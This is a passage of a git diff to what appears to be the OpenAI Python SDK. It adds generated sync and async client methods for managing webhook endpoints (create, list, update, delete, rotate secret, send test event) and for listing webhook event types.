@@ -11,4 +26,17 @@ class AsyncWebhooks(_AsyncWebhooks):
pass
-__all__ = ["Webhooks", "AsyncWebhooks"]
+__all__ = [
+ "EventTypes",
+ "AsyncEventTypes",
+ "EventTypesWithRawResponse",
+ "AsyncEventTypesWithRawResponse",
+ "EventTypesWithStreamingResponse",
+ "AsyncEventTypesWithStreamingResponse",
+ "Webhooks",
+ "AsyncWebhooks",
+ "WebhooksWithRawResponse",
+ "AsyncWebhooksWithRawResponse",
+ "WebhooksWithStreamingResponse",
+ "AsyncWebhooksWithStreamingResponse",
+]
diff --git a/src/openai/resources/webhooks/api.md b/src/openai/resources/webhooks/api.md
index 210ee18090..ae3d0d0de8 100644
--- a/src/openai/resources/webhooks/api.md
+++ b/src/openai/resources/webhooks/api.md
@@ -8,6 +8,7 @@ from openai.types.webhooks import (
BatchCompletedWebhookEvent,
BatchExpiredWebhookEvent,
BatchFailedWebhookEvent,
+ DeletedWebhookEndpoint,
EvalRunCanceledWebhookEvent,
EvalRunFailedWebhookEvent,
EvalRunSucceededWebhookEvent,
@@ -24,5 +25,26 @@ from openai.types.webhooks import (
SafetyAlertCreatedWebhookEvent,
SafetyOrgAlertCreatedWebhookEvent,
UnwrapWebhookEvent,
+ WebhookEndpoint,
+ WebhookEndpointList,
+ WebhookEndpointTestResult,
+ WebhookEndpointWithSecret,
+ WebhookEventTypeList,
)
```
+
+Methods:
+
+- client.webhooks.create(\*\*params) -> WebhookEndpointWithSecret
+- client.webhooks.retrieve(webhook_endpoint_id) -> WebhookEndpoint
+- client.webhooks.update(webhook_endpoint_id, \*\*params) -> WebhookEndpoint
+- client.webhooks.list(\*\*params) -> SyncCursorPage[WebhookEndpoint]
+- client.webhooks.delete(webhook_endpoint_id) -> DeletedWebhookEndpoint
+- client.webhooks.rotate_secret(webhook_endpoint_id, \*\*params) -> WebhookEndpointWithSecret
+- client.webhooks.test(webhook_endpoint_id, \*\*params) -> WebhookEndpointTestResult
+
+## EventTypes
+
+Methods:
+
+- client.webhooks.event_types.list() -> WebhookEventTypeList
diff --git a/src/openai/resources/webhooks/event_types.py b/src/openai/resources/webhooks/event_types.py
new file mode 100644
index 0000000000..44e074e998
--- /dev/null
+++ b/src/openai/resources/webhooks/event_types.py
@@ -0,0 +1,139 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import httpx2
+
+from ... import _legacy_response
+from ..._types import Body, Query, Headers, NotGiven, not_given
+from ..._compat import cached_property
+from ..._resource import SyncAPIResource, AsyncAPIResource
+from ..._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
+from ..._base_client import make_request_options
+from ...types.webhooks.webhook_event_type_list import WebhookEventTypeList
+
+__all__ = ["EventTypes", "AsyncEventTypes"]
+
+
+class EventTypes(SyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> EventTypesWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return EventTypesWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> EventTypesWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return EventTypesWithStreamingResponse(self)
+
+ def list(
+ self,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> WebhookEventTypeList:
+ """Returns webhook event types visible to the authenticated project."""
+ return self._get(
+ "/webhook_event_types",
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=WebhookEventTypeList,
+ )
+
+
+class AsyncEventTypes(AsyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> AsyncEventTypesWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncEventTypesWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncEventTypesWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncEventTypesWithStreamingResponse(self)
+
+ async def list(
+ self,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> WebhookEventTypeList:
+ """Returns webhook event types visible to the authenticated project."""
+ return await self._get(
+ "/webhook_event_types",
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=WebhookEventTypeList,
+ )
+
+
+class EventTypesWithRawResponse:
+ def __init__(self, event_types: EventTypes) -> None:
+ self._event_types = event_types
+
+ self.list = _legacy_response.to_raw_response_wrapper(
+ event_types.list,
+ )
+
+
+class AsyncEventTypesWithRawResponse:
+ def __init__(self, event_types: AsyncEventTypes) -> None:
+ self._event_types = event_types
+
+ self.list = _legacy_response.async_to_raw_response_wrapper(
+ event_types.list,
+ )
+
+
+class EventTypesWithStreamingResponse:
+ def __init__(self, event_types: EventTypes) -> None:
+ self._event_types = event_types
+
+ self.list = to_streamed_response_wrapper(
+ event_types.list,
+ )
+
+
+class AsyncEventTypesWithStreamingResponse:
+ def __init__(self, event_types: AsyncEventTypes) -> None:
+ self._event_types = event_types
+
+ self.list = async_to_streamed_response_wrapper(
+ event_types.list,
+ )
diff --git a/src/openai/resources/webhooks/webhooks.py b/src/openai/resources/webhooks/webhooks.py
index 8080ce875f..fbc3145f49 100644
--- a/src/openai/resources/webhooks/webhooks.py
+++ b/src/openai/resources/webhooks/webhooks.py
@@ -3,19 +3,457 @@
from __future__ import annotations
import json
-from typing import cast
+from typing import List, Optional, cast
+from typing_extensions import Literal
-from ..._types import HeadersLike
+import httpx2
+
+from ... import _legacy_response
+from ..._types import Body, Omit, Query, Headers, NotGiven, HeadersLike, omit, not_given
+from ..._utils import path_template, maybe_transform, async_maybe_transform
+from ..._compat import cached_property
from ..._models import construct_type
from ..._resource import SyncAPIResource, AsyncAPIResource
+from ..._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
+from .event_types import (
+ EventTypes,
+ AsyncEventTypes,
+ EventTypesWithRawResponse,
+ AsyncEventTypesWithRawResponse,
+ EventTypesWithStreamingResponse,
+ AsyncEventTypesWithStreamingResponse,
+)
+from ...pagination import SyncCursorPage, AsyncCursorPage
from ..._exceptions import InvalidWebhookSignatureError
+from ..._base_client import AsyncPaginator, make_request_options
from ...lib._webhooks import webhook_signature_matches as _webhook_signature_matches
+from ...types.webhooks import (
+ webhook_list_params,
+ webhook_test_params,
+ webhook_create_params,
+ webhook_update_params,
+ webhook_rotate_secret_params,
+)
+from ...types.webhooks.webhook_endpoint import WebhookEndpoint
from ...types.webhooks.unwrap_webhook_event import UnwrapWebhookEvent
+from ...types.webhooks.deleted_webhook_endpoint import DeletedWebhookEndpoint
+from ...types.webhooks.webhook_endpoint_test_result import WebhookEndpointTestResult
+from ...types.webhooks.webhook_endpoint_with_secret import WebhookEndpointWithSecret
__all__ = ["Webhooks", "AsyncWebhooks"]
class Webhooks(SyncAPIResource):
+ @cached_property
+ def event_types(self) -> EventTypes:
+ return EventTypes(self._client)
+
+ @cached_property
+ def with_raw_response(self) -> WebhooksWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return WebhooksWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> WebhooksWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return WebhooksWithStreamingResponse(self)
+
+ def create(
+ self,
+ *,
+ event_types: List[
+ Literal[
+ "batch.completed",
+ "batch.failed",
+ "batch.expired",
+ "batch.cancelled",
+ "response.completed",
+ "response.failed",
+ "response.cancelled",
+ "response.incomplete",
+ "eval.run.succeeded",
+ "eval.run.failed",
+ "eval.run.canceled",
+ "fine_tuning.job.succeeded",
+ "fine_tuning.job.failed",
+ "fine_tuning.job.cancelled",
+ "realtime.call.incoming",
+ "video.completed",
+ "video.failed",
+ "safety.alert.created",
+ ]
+ ],
+ name: str,
+ url: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> WebhookEndpointWithSecret:
+ """
+ Creates a webhook endpoint for the authenticated project.
+
+ Args:
+ event_types: The event types that trigger deliveries to this endpoint.
+
+ name: A human-readable name for the webhook endpoint.
+
+ url: The HTTPS URL that receives webhook deliveries.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ return self._post(
+ "/webhook_endpoints",
+ body=maybe_transform(
+ {
+ "event_types": event_types,
+ "name": name,
+ "url": url,
+ },
+ webhook_create_params.WebhookCreateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=WebhookEndpointWithSecret,
+ )
+
+ def retrieve(
+ self,
+ webhook_endpoint_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> WebhookEndpoint:
+ """
+ Retrieves a webhook endpoint for the authenticated project.
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not webhook_endpoint_id:
+ raise ValueError(
+ f"Expected a non-empty value for `webhook_endpoint_id` but received {webhook_endpoint_id!r}"
+ )
+ return self._get(
+ path_template("/webhook_endpoints/{webhook_endpoint_id}", webhook_endpoint_id=webhook_endpoint_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=WebhookEndpoint,
+ )
+
+ def update(
+ self,
+ webhook_endpoint_id: str,
+ *,
+ event_types: List[
+ Literal[
+ "batch.completed",
+ "batch.failed",
+ "batch.expired",
+ "batch.cancelled",
+ "response.completed",
+ "response.failed",
+ "response.cancelled",
+ "response.incomplete",
+ "eval.run.succeeded",
+ "eval.run.failed",
+ "eval.run.canceled",
+ "fine_tuning.job.succeeded",
+ "fine_tuning.job.failed",
+ "fine_tuning.job.cancelled",
+ "realtime.call.incoming",
+ "video.completed",
+ "video.failed",
+ "safety.alert.created",
+ ]
+ ]
+ | Omit = omit,
+ name: str | Omit = omit,
+ url: str | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> WebhookEndpoint:
+ """
+ Updates a webhook endpoint for the authenticated project.
+
+ Args:
+ event_types: The complete set of event types that should trigger deliveries.
+
+ name: A new human-readable name for the webhook endpoint.
+
+ url: A new HTTPS URL that receives webhook deliveries.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not webhook_endpoint_id:
+ raise ValueError(
+ f"Expected a non-empty value for `webhook_endpoint_id` but received {webhook_endpoint_id!r}"
+ )
+ return self._post(
+ path_template("/webhook_endpoints/{webhook_endpoint_id}", webhook_endpoint_id=webhook_endpoint_id),
+ body=maybe_transform(
+ {
+ "event_types": event_types,
+ "name": name,
+ "url": url,
+ },
+ webhook_update_params.WebhookUpdateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=WebhookEndpoint,
+ )
+
+ def list(
+ self,
+ *,
+ after: Optional[str] | Omit = omit,
+ limit: int | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SyncCursorPage[WebhookEndpoint]:
+ """
+ Returns webhook endpoints for the authenticated project in newest-first order.
+
+ Args:
+ after: ID of the last webhook endpoint from the previous page.
+
+ limit: Maximum number of webhook endpoints to return. Defaults to 20.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ return self._get_api_list(
+ "/webhook_endpoints",
+ page=SyncCursorPage[WebhookEndpoint],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ },
+ webhook_list_params.WebhookListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=WebhookEndpoint,
+ )
+
+ def delete(
+ self,
+ webhook_endpoint_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> DeletedWebhookEndpoint:
+ """
+ Deletes a webhook endpoint for the authenticated project.
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not webhook_endpoint_id:
+ raise ValueError(
+ f"Expected a non-empty value for `webhook_endpoint_id` but received {webhook_endpoint_id!r}"
+ )
+ return self._delete(
+ path_template("/webhook_endpoints/{webhook_endpoint_id}", webhook_endpoint_id=webhook_endpoint_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=DeletedWebhookEndpoint,
+ )
+
+ def rotate_secret(
+ self,
+ webhook_endpoint_id: str,
+ *,
+ keep_old_secret_active_for_24_hours: bool | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> WebhookEndpointWithSecret:
+ """
+ Rotates the signing secret for a webhook endpoint in the authenticated project.
+
+ Args:
+ keep_old_secret_active_for_24_hours: Whether to keep the previous signing secret valid for 24 hours after rotation.
+ Defaults to false, which invalidates the previous secret immediately.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not webhook_endpoint_id:
+ raise ValueError(
+ f"Expected a non-empty value for `webhook_endpoint_id` but received {webhook_endpoint_id!r}"
+ )
+ return self._post(
+ path_template(
+ "/webhook_endpoints/{webhook_endpoint_id}/rotate_secret", webhook_endpoint_id=webhook_endpoint_id
+ ),
+ body=maybe_transform(
+ {"keep_old_secret_active_for_24_hours": keep_old_secret_active_for_24_hours},
+ webhook_rotate_secret_params.WebhookRotateSecretParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=WebhookEndpointWithSecret,
+ )
+
+ def test(
+ self,
+ webhook_endpoint_id: str,
+ *,
+ event_type: Literal[
+ "batch.completed",
+ "batch.failed",
+ "batch.expired",
+ "batch.cancelled",
+ "response.completed",
+ "response.failed",
+ "response.cancelled",
+ "response.incomplete",
+ "eval.run.succeeded",
+ "eval.run.failed",
+ "eval.run.canceled",
+ "fine_tuning.job.succeeded",
+ "fine_tuning.job.failed",
+ "fine_tuning.job.cancelled",
+ "realtime.call.incoming",
+ "video.completed",
+ "video.failed",
+ "safety.alert.created",
+ ],
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> WebhookEndpointTestResult:
+ """
+ Sends a sample event to a webhook endpoint for the authenticated project.
+
+ Args:
+ event_type: The event type to send as a sample delivery.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not webhook_endpoint_id:
+ raise ValueError(
+ f"Expected a non-empty value for `webhook_endpoint_id` but received {webhook_endpoint_id!r}"
+ )
+ return self._post(
+ path_template("/webhook_endpoints/{webhook_endpoint_id}/test", webhook_endpoint_id=webhook_endpoint_id),
+ body=maybe_transform({"event_type": event_type}, webhook_test_params.WebhookTestParams),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=WebhookEndpointTestResult,
+ )
+
def unwrap(
self,
payload: str | bytes,
@@ -69,6 +507,416 @@ def verify_signature(
class AsyncWebhooks(AsyncAPIResource):
+ @cached_property
+ def event_types(self) -> AsyncEventTypes:
+ return AsyncEventTypes(self._client)
+
+ @cached_property
+ def with_raw_response(self) -> AsyncWebhooksWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncWebhooksWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncWebhooksWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncWebhooksWithStreamingResponse(self)
+
+ async def create(
+ self,
+ *,
+ event_types: List[
+ Literal[
+ "batch.completed",
+ "batch.failed",
+ "batch.expired",
+ "batch.cancelled",
+ "response.completed",
+ "response.failed",
+ "response.cancelled",
+ "response.incomplete",
+ "eval.run.succeeded",
+ "eval.run.failed",
+ "eval.run.canceled",
+ "fine_tuning.job.succeeded",
+ "fine_tuning.job.failed",
+ "fine_tuning.job.cancelled",
+ "realtime.call.incoming",
+ "video.completed",
+ "video.failed",
+ "safety.alert.created",
+ ]
+ ],
+ name: str,
+ url: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> WebhookEndpointWithSecret:
+ """
+ Creates a webhook endpoint for the authenticated project.
+
+ Args:
+ event_types: The event types that trigger deliveries to this endpoint.
+
+ name: A human-readable name for the webhook endpoint.
+
+ url: The HTTPS URL that receives webhook deliveries.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ return await self._post(
+ "/webhook_endpoints",
+ body=await async_maybe_transform(
+ {
+ "event_types": event_types,
+ "name": name,
+ "url": url,
+ },
+ webhook_create_params.WebhookCreateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=WebhookEndpointWithSecret,
+ )
+
+ async def retrieve(
+ self,
+ webhook_endpoint_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> WebhookEndpoint:
+ """
+ Retrieves a webhook endpoint for the authenticated project.
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not webhook_endpoint_id:
+ raise ValueError(
+ f"Expected a non-empty value for `webhook_endpoint_id` but received {webhook_endpoint_id!r}"
+ )
+ return await self._get(
+ path_template("/webhook_endpoints/{webhook_endpoint_id}", webhook_endpoint_id=webhook_endpoint_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=WebhookEndpoint,
+ )
+
+ async def update(
+ self,
+ webhook_endpoint_id: str,
+ *,
+ event_types: List[
+ Literal[
+ "batch.completed",
+ "batch.failed",
+ "batch.expired",
+ "batch.cancelled",
+ "response.completed",
+ "response.failed",
+ "response.cancelled",
+ "response.incomplete",
+ "eval.run.succeeded",
+ "eval.run.failed",
+ "eval.run.canceled",
+ "fine_tuning.job.succeeded",
+ "fine_tuning.job.failed",
+ "fine_tuning.job.cancelled",
+ "realtime.call.incoming",
+ "video.completed",
+ "video.failed",
+ "safety.alert.created",
+ ]
+ ]
+ | Omit = omit,
+ name: str | Omit = omit,
+ url: str | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> WebhookEndpoint:
+ """
+ Updates a webhook endpoint for the authenticated project.
+
+ Args:
+ event_types: The complete set of event types that should trigger deliveries.
+
+ name: A new human-readable name for the webhook endpoint.
+
+ url: A new HTTPS URL that receives webhook deliveries.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not webhook_endpoint_id:
+ raise ValueError(
+ f"Expected a non-empty value for `webhook_endpoint_id` but received {webhook_endpoint_id!r}"
+ )
+ return await self._post(
+ path_template("/webhook_endpoints/{webhook_endpoint_id}", webhook_endpoint_id=webhook_endpoint_id),
+ body=await async_maybe_transform(
+ {
+ "event_types": event_types,
+ "name": name,
+ "url": url,
+ },
+ webhook_update_params.WebhookUpdateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=WebhookEndpoint,
+ )
+
+ def list(
+ self,
+ *,
+ after: Optional[str] | Omit = omit,
+ limit: int | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AsyncPaginator[WebhookEndpoint, AsyncCursorPage[WebhookEndpoint]]:
+ """
+ Returns webhook endpoints for the authenticated project in newest-first order.
+
+ Args:
+ after: ID of the last webhook endpoint from the previous page.
+
+ limit: Maximum number of webhook endpoints to return. Defaults to 20.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ return self._get_api_list(
+ "/webhook_endpoints",
+ page=AsyncCursorPage[WebhookEndpoint],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ },
+ webhook_list_params.WebhookListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=WebhookEndpoint,
+ )
+
+ async def delete(
+ self,
+ webhook_endpoint_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> DeletedWebhookEndpoint:
+ """
+ Deletes a webhook endpoint for the authenticated project.
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not webhook_endpoint_id:
+ raise ValueError(
+ f"Expected a non-empty value for `webhook_endpoint_id` but received {webhook_endpoint_id!r}"
+ )
+ return await self._delete(
+ path_template("/webhook_endpoints/{webhook_endpoint_id}", webhook_endpoint_id=webhook_endpoint_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=DeletedWebhookEndpoint,
+ )
+
+ async def rotate_secret(
+ self,
+ webhook_endpoint_id: str,
+ *,
+ keep_old_secret_active_for_24_hours: bool | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> WebhookEndpointWithSecret:
+ """
+ Rotates the signing secret for a webhook endpoint in the authenticated project.
+
+ Args:
+ keep_old_secret_active_for_24_hours: Whether to keep the previous signing secret valid for 24 hours after rotation.
+ Defaults to false, which invalidates the previous secret immediately.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not webhook_endpoint_id:
+ raise ValueError(
+ f"Expected a non-empty value for `webhook_endpoint_id` but received {webhook_endpoint_id!r}"
+ )
+ return await self._post(
+ path_template(
+ "/webhook_endpoints/{webhook_endpoint_id}/rotate_secret", webhook_endpoint_id=webhook_endpoint_id
+ ),
+ body=await async_maybe_transform(
+ {"keep_old_secret_active_for_24_hours": keep_old_secret_active_for_24_hours},
+ webhook_rotate_secret_params.WebhookRotateSecretParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=WebhookEndpointWithSecret,
+ )
+
+ async def test(
+ self,
+ webhook_endpoint_id: str,
+ *,
+ event_type: Literal[
+ "batch.completed",
+ "batch.failed",
+ "batch.expired",
+ "batch.cancelled",
+ "response.completed",
+ "response.failed",
+ "response.cancelled",
+ "response.incomplete",
+ "eval.run.succeeded",
+ "eval.run.failed",
+ "eval.run.canceled",
+ "fine_tuning.job.succeeded",
+ "fine_tuning.job.failed",
+ "fine_tuning.job.cancelled",
+ "realtime.call.incoming",
+ "video.completed",
+ "video.failed",
+ "safety.alert.created",
+ ],
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> WebhookEndpointTestResult:
+ """
+ Sends a sample event to a webhook endpoint for the authenticated project.
+
+ Args:
+ event_type: The event type to send as a sample delivery.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not webhook_endpoint_id:
+ raise ValueError(
+ f"Expected a non-empty value for `webhook_endpoint_id` but received {webhook_endpoint_id!r}"
+ )
+ return await self._post(
